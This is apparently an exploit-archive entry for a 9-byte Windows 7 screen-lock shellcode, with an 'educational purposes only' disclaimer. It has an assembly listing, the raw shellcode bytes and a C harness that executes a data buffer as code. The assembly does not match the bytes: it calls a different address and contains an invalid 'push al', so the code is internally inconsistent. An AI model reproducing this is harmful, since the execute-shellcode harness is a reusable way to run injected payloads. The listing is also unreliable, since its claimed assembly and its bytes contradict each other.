Windows/7 screen lock shellcode (9 bytes) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-01-22 | Type : shellcode | Platform : windows
This exploit / vulnerability Windows/7 screen lock shellcode (9 bytes) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Title: Windows/7 - Screen Lock Shellcode (9 bytes)
# Author: Saswat Nayak
# Date: 2020-01-22
# Shellcode length 9
# Tested on: Win 7 SP1-64

/*
***** Assembly code follows *****
xor eax,eax
xor ebx,ebx
xor ecx,ecx
mov eax,0x00000002
mov ebx,0x00020000
push ebx
push al
mov ecx,0x77661497
call ecx


*/

char code[]=

"\x31\xC0\xB8\x6F\x86\x67\x77\xFF\xD0";

int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}